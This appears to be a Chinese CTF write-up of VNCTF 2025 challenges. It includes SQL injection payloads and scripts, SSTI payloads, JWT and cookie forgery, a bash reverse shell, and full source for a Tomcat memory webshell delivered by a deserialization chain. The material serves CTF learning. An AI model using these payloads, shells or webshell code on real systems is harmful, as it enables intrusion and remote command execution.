WEB

ez_emlog

猴子大王在1月23日开始学习Web安全并搭建了一个博客,你能找到他博客的漏洞吗。

一条人一只烟 一道web干一天

也是给我挖上0day了

拉源码做审计

image-20250208164547850

跟一下,使用mt_rand生成随机数

image-20250208164602668

由于这两个都调用了getRandStr函数,分别查看调用

image-20250208165139326

account.php的logout接口设置了cookie,可以访问看一下

image-20250208165253362

c83d4f3bfbad7deb7f795e1d8e6ed7b

果然返回了,那么就可以逆序getRandStr进行解密后补零进行seed爆破

mt_rand()函数的特性-MT19937

  • MT19937有624个内部状态
  • 每个状态是32位整数
  • 需要624个连续的输出才能完全确定内部状态

我们需要补32组0 0 0 0提供足够的状态信息

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$chars_length = strlen($chars) - 1;
$p = 'RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr';

for ($i = 0; $i < 128; $i++) {
echo "0 ";
}

for ($i = 0; $i < strlen($p); $i++) {
$number = strpos($chars, $p[$i]);
echo "$number $number 0 $chars_length ";
}

image-20250208171304459

得到seed

image-20250208165953689

拿到种子第一件事就是伪造cookie

但是在loginauth.php中发现与用户名有关联

image-20250208170520901

image-20250208170612645

于是想到sql注入,将username部分进行报错注入(exp下面有

1
2
3
4
5
6
7
8
9
10
GET /admin/../ HTTP/1.1
Host: node.vnteam.cn:48595
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0
Cookie: EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=1' and updatexml(1,concat(0x7e,(select(database())),0x7e),1) #|0|a916cc182f4f3d080acb6a0b356da6a7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node.vnteam.cn:48595/admin/account.php?action=logout
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

956ca770bed18d7171fb2eb80452858

中间靶机到期了

image-20250208155050122

image-20250208155205361

image-20250208155230657

image-20250208155346815

到这里停了,看到user表,可以停住进去查看一下

1
1' and extractvalue(1,concat(0x7e,(select GROUP_CONCAT(column_name) from information_schema.columns where table_schema=database() and table_name='emlog_user'),0x7e))#

然后就可以查看username

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

$seed = 2430606281;
mt_srand($seed);
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()";
$retStr = '';
for ($i = 0; $i < 32; $i++) {
$retStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}

$ua = md5("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36");
$authkey = $retStr . $ua;

$username = "1' and updatexml(1,concat(0x7e,(select substr(group_concat(username),20,32) from emlog.emlog_user),0x7e),1) #";
$expiration = 0;
$data = $username . '|' . $expiration;

$key = hash_hmac('md5', $data, $authkey);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

echo "EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=" . $username . "|" . $expiration . "|" . $hash;

image-20250208160349190

得到username(一共33位,substr截断即可

1
1QXgVCpRbGseY_UA6DPDV1K8XOCZHUxm

伪造admin身份进后台

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

$seed = 2430606281;
mt_srand($seed);
$rand_string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()";
$retStr = '';
for ($i = 0; $i < 32; $i++) {
$retStr .= substr($rand_string, mt_rand(0, strlen($rand_string) - 1), 1);
}

$ua = md5("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36");
$authkey = $retStr . $ua;

$username = "1QXgVCpRbGseY_UA6DPDV1K8XOCZHUxm";
$expiration = 0;
$data = $username . '|' . $expiration;

$key = hash_hmac('md5', $data, $authkey);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

echo "EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=" . $username . "|" . $expiration . "|" . $hash;

image-20250208161237958

然后就简单了,对着开发文档上传木马即可

emblog后台拿shell-CSDN博客

image-20250208161753904

image-20250208162459529

创建对应目录结构然后打包上传

image-20250208162526373

image-20250208162608905

image-20250208162738604

image-20250208162748410

奶龙回家

小朋友们你们好呀,我是奶龙,请帮我找到username和password,获得胖猫留下的flag吧 //容易炸链接,可以多试几次

时间盲注 过滤了sleep使用randomblob延时

过滤= 使用>和二分法进行注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import time

url = 'http://node.vnteam.cn:44425/login'
flag = ''

for i in range(1, 500):
low = 32
high = 128
mid = (low + high) // 2

while low < high:
time.sleep(0.2)
payload = "-1' or (case when(substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}') then randomblob(300000000) else 0 end)/*".format(i, chr(mid))
# payload = "-1' or (case when(substr((select hex(group_concat(username)) from users),{0},1)>'{1}') then randomblob(50000000) else 0 end)/*"
# payload = "-1' or (case when(substr((select hex(group_concat(username)) from users),{0},1)>'{1}') then randomblob(50000000) else 0 end)/*"
payload = payload.replace(' ', '/**/')
payload = payload.format(i, chr(mid))


datas = {
"username": "123",
"password": payload
}

# print(datas)
start_time = time.time()
res = requests.post(url=url, json=datas)
end_time = time.time()
spend_time = end_time - start_time

if spend_time >= 0.19:
low = mid + 1
else:
high = mid

mid = (low + high) // 2

if mid == 32 or mid == 127:
break

flag = flag + chr(mid)
print(flag)

print(flag)
print('\n' + bytes.fromhex(flag).decode('utf-8'))

学生姓名登记系统

Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?

python的单文件框架有Flask Bottle Falcon Sanic Tornado FastAPI等等

image-20250210183518890

经分析是一个bottle框

bottle框架可以任意执行单行python代码

image-20250210184147681

另外 字符串有长度限制 已知bottle上下文具有关联功能

直接

1
2
3
4
"""
%a=__builtins__
"""
{{a}}

查看函数发现open

image-20250211144516358

直接open会hacker,单引号绕过

1
2
3
4
5
6
"""
%a=__builtins__
%b='op''en'

"""
{{a[b]}}

拼接最终payload

1
2
3
4
5
6
"""
%a=__builtins__
%b='op''en'
%c='/flag'
"""
{{a[b](c).read()}}

官方wp

1
2
3
4
{{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subc
lasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.__init__}}%0a{{g:=f.__global
s__}}%0a{{z:='__builtins__'}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0
a{{x:=i("/flag")}}%0a{{y:=x.read()}}

思路大同小异

比如输入{{print(5)}},实际上5已经输入到控制台了 拼接{{a:=5}}%0a{{print(a)}}发现能读上下文,同理得到flag

image-20250211143330052

Gin

go是世界上最好的语言

查看routes.go可以大致看出

普通用户注册后有个上传功能,admin有个eval路由,应该可以执行代码

image-20250211150840054

并且发现有一个jwt,可以注册个用户看看先

image-20250211150940710

注册一个用户后登录

image-20250211151437619

jwt解密

image-20250211151446374

然后可以看一下jwt相关逻辑

image-20250211151754391

将年份作为种子,生成0-999拼接上config.Key()

不过题目源码没给key

image-20250211152118466

上传任意文件,发现提供了预览和下载两种模式

image-20250211152233512

download发现任意文件下载

image-20250211152417415

直接读../config/key.go

image-20250211152550059

1
2
3
4
5
6
7
8
9
package config

func Key() string {
return "r00t32l"
}
func Year() int64 {
return 2025
}

抠出来得key

1
2
3
4
5
6
7
8
9
10
11
12
package main

import (
"fmt"
"math/rand"
)
func main() {
rand.Seed(2025)
randomNumber := rand.Intn(1000)
key := fmt.Sprintf("%03d%s", randomNumber, "r00t32l")
fmt.Println(key)
}

image-20250211153820444

得到key

1
122r00t32l

重新加密

image-20250211160627885

得到

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNzIjoiTWFzaDFyMCIsInN1YiI6InVzZXIgdG9rZW4iLCJleHAiOjE3MzkzNDQ5MjIsImlhdCI6MTczOTI1ODUyMn0.B9r2Fa74H1ENzpZbtpIehx7um0kKI1lSMix4g-RsqxY

image-20250211160646045

然后就可以看看有什么库可以命令执行的

image-20250211161056899

整个反弹shell代码

1
2
3
4
5
6
7
8
9
10
11
12
package main

import (
"fmt"
"github.com/PaulXu-cn/goeval"
)

func main() {
cmd, _ := goeval.Eval("", "cmd:=exec.Command(\"bash\",\"-c\",\"exec bash -i >& /dev/tcp/ip/7777 0>&1\");out,_:=cmd.CombinedOutput();fmt.Println(string(out))", "os/exec", "fmt")
fmt.Println(string(cmd))
}

image-20250211161845189

根目录上是假flag

image-20250211161911762

查看suid时发现又哥Cat很可疑 执行后回显/flag得内容 猜测执行的是cat /flag

image-20250211162033413

劫持cat即可获得root权限

image-20250211162441383

查看不再使用cat

image-20250211162536102

javaGuide

java反序列化第一步(题目环境不出网)

不会java web 留个档

2025/2/25来擦屁股了

com.example.javaguide.controller.IndexController中发现反序列化路由

image-20250225105112708

com.example.javaguide.MyObjectInputStream

image-20250225105325272

继承了ObjectInputStream

重写了resolveClass添加了安全限制

image-20250225105705571

可以考虑二次反序列化绕过

原理为resolveClass只在第一次反序列化时被调用

第一次反序列化链子

第一次反序列化的链子的目的是找到第二次反序列化的入口

fastjson反序列化有一条链子就是通过

1
BadAttributeValueExpException::readObject()->JSONObject::toString()

把val赋值为jsonArray的对象,那么就也可以调用JSON类的toString方法在Json这里就会触发fastjson的漏洞,触发get方法。

第二次反序列化链子

接下来我们就是要找到一个类,并且满足:

  • get方法
  • get方法里面能够直接或间接调用readObject()

而这个类就是⽤SignedObject::getObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.security.SignedObject;
import java.util.Base64;
import com.Memshell.tomcat.BehinderFilterShell2;

import static com.Utils.Util.*;

public class test {
public static void main(String[] args) throws Exception {
//生成一个templates
byte[] bytes = ClassPool.getDefault().get(BehinderFilterShell2.class.getName()).toBytecode();
TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);

//获取进行了动态代理的templatesImpl,保证触发getOutput
Object template = getPOJONodeStableProxy(templates);

//fastjson原生链
Object fastjsonEventListenerList1 = getFastjsonEventListenerList(template);
//二次反序列化
SignedObject signedObject = second_serialize(fastjsonEventListenerList1);
//fastjson原生链
Object fastjsonEventListenerList2 = getFastjsonEventListenerList(signedObject);

//base64加密输出
String b64_payload = serialize(fastjsonEventListenerList2);
System.out.println(b64_payload);

//测试是否成功rce
//byte[] decode = Base64.getDecoder().decode(b64_payload);
//ObjectInputStream myObjectInputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
//myObjectInputStream.readObject();
}
}

内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
package com.Memshell.tomcat;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.reflect.ReflectionFactory;

import javax.servlet.*;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Scanner;

public class BehinderFilterShell2 extends AbstractTranslet implements Filter {

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static Object getFieldValue(Object obj,String fieldname) throws Exception{
Field field = getField(obj.getClass(), fieldname);
Object o = field.get(obj);
return o;
}
public BehinderFilterShell2() throws Exception {

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot resources = (StandardRoot) getFieldValue(webappClassLoaderBase, "resources");
StandardContext context = (StandardContext) resources.getContext();

String filterName = "fffff";

//构造FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");

//构造FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilter(this);

//通过反射机制获取构造器,然后创建对象
ApplicationFilterConfig applicationFilterConfig = createWithConstructor(
ApplicationFilterConfig.class, ApplicationFilterConfig.class,
//形参类型
new Class[]{Context.class, FilterDef.class},
//实参
new Object[]{context, filterDef}
);

//获取到context里的filterConfigs,然后将applicationFilterConfig加入
HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig> )getFieldValue(context, "filterConfigs");
filterConfigs.put(filterName,applicationFilterConfig);

context.addFilterDef(filterDef);
context.addFilterMap(filterMap);

}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
try {
String arg0 = request.getParameter("cmd");
if (arg0 != null) {
PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}

Scanner c = (new Scanner(p.start().getInputStream())).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
chain.doFilter(request,response);
}
} catch (Exception var8) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void destroy() {

}
}

MISC

VN_Lang

我真是受够了往misc里塞异形文字了,所以我决定自创VN文字,你能读懂吗?

010一看就有

Echo Flowers

英语不好的114也想要学习区块链,于是通过自己编写的地址生成器生成了一个0x114514开头的地址助记词(默认路径m/44’/60’/0’/0/0),并将助记词导入首次搭载四曲柔边直屏,采用居中对称式的圆环镜头+金属质感小银边设计,并辅以拉丝工艺打造的金属质感中框,主打“超防水,超抗摔,超耐用”,号称“耐用战神”的OPPO A5 Pro上作为数字钱包。不幸的是,114忘记了这部手机上数字钱包的密码,同时丢失了助记词。你能帮助114找回他的数字钱包吗?

本题附件下载地址:百度网盘Google Drive

114使用的密码是强密码(在8-40字符之间,至少包含一个大写字母、一个小写字母、一个数字和一个特殊字符),因此暴力破解密码是不现实的

附件是一个(通过Android-x86模拟的)手机镜像,建议使用VMWare虚拟机平台运行手机镜像,其它虚拟机平台可能会出现非预期的行为。

你应该从手机镜像中取证找回数字钱包。

附件中gift文件夹的内容不是解题所必需的。

FLAG格式:VNCTF{ETH地址0x114514d3CEc0bB872349a98e21526DbA041F08a9对应的私钥十六进制小写} . 例如,假设私钥是0xaabbcc,那么FLAG是VNCTF{aabbcc} .

美亚杯后遗症。。

手机钱包通过助记词导入,不难想到输入法

echo_flowers-disk1.vmdk/分区2/android-7.1-r5/data/data/com.sohu.inputmethod.sogouoem/files/dict

image-20250211165836274

导出后strings大法

image-20250211170030152

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cd dict
❯ strings --encoding=b *
ranch
only
space
define
laundry
carpet
muscle
ramp
high
twenty
couch
fashion

bip39网站解密即可

image-20250211170635833

REVERSE

Hook Fish

钓到的鱼怎么跑了?

frida脚本发现是一串密文比较

c381d1ec53efc0f676b23a20901cf88

主程序发现动态加载了hookfish.dex

0710b2c2761d954c92bfcb9d2100f6a

下载后对应解密即可

32e6fe9cb18cb56805595e9fe88ccc3